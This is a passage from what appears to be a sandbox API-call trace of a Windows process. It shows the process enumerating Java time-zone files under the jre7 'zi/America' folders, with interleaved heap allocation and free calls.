ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.570] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Buenos_Aires", cAlternateFileName="")) returned 1 [0088.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0088.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13264d8) returned 1 [0088.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12beea8 [0088.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130e788 [0088.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.572] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catamarca", cAlternateFileName="")) returned 1 [0088.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12beec8 [0088.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130e890 [0088.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.574] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cordoba", cAlternateFileName="")) returned 1 [0088.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12beee8 [0088.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130e998 [0088.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.575] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jujuy", cAlternateFileName="")) returned 1 [0088.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bef08 [0088.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13264d8 [0088.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.577] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x0, cFileName="La_Rioja", cAlternateFileName="")) returned 1 [0088.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bef28 [0088.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130eaa0 [0088.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.579] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mendoza", cAlternateFileName="")) returned 1 [0088.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bef48 [0088.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130eba8 [0088.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.580] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rio_Gallegos", cAlternateFileName="")) returned 1 [0088.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bef68 [0088.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130ecb0 [0088.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.582] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="Salta", cAlternateFileName="")) returned 1 [0088.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bef88 [0088.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326670 [0088.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.584] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x0, cFileName="San_Juan", cAlternateFileName="")) returned 1 [0088.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12befa8 [0088.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130edb8 [0088.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.585] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x0, cFileName="San_Luis", cAlternateFileName="")) returned 1 [0088.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12befc8 [0088.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130eec0 [0088.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x88c0) returned 0x132a698 [0088.587] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tucuman", cAlternateFileName="")) returned 1 [0088.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12befe8 [0088.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130efc8 [0088.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.588] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ushuaia", cAlternateFileName="")) returned 1 [0088.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf008 [0088.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130f0d0 [0088.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.590] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ushuaia", cAlternateFileName="")) returned 0 [0088.590] GetLastError () returned 0x12 [0088.590] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0088.590] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.590] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.590] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Buenos_Aires", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catamarca", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cordoba", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jujuy", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x0, cFileName="La_Rioja", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mendoza", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rio_Gallegos", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="Salta", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x0, cFileName="San_Juan", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x0, cFileName="San_Luis", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tucuman", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ushuaia", cAlternateFileName="")) returned 1 [0088.591] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ushuaia", cAlternateFileName="")) returned 0 [0088.591] GetLastError () returned 0x12 [0088.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326560) returned 1 [0088.591] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0088.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aruba", cAlternateFileName="")) returned 1 [0088.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asuncion", cAlternateFileName="")) returned 1 [0088.592] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, 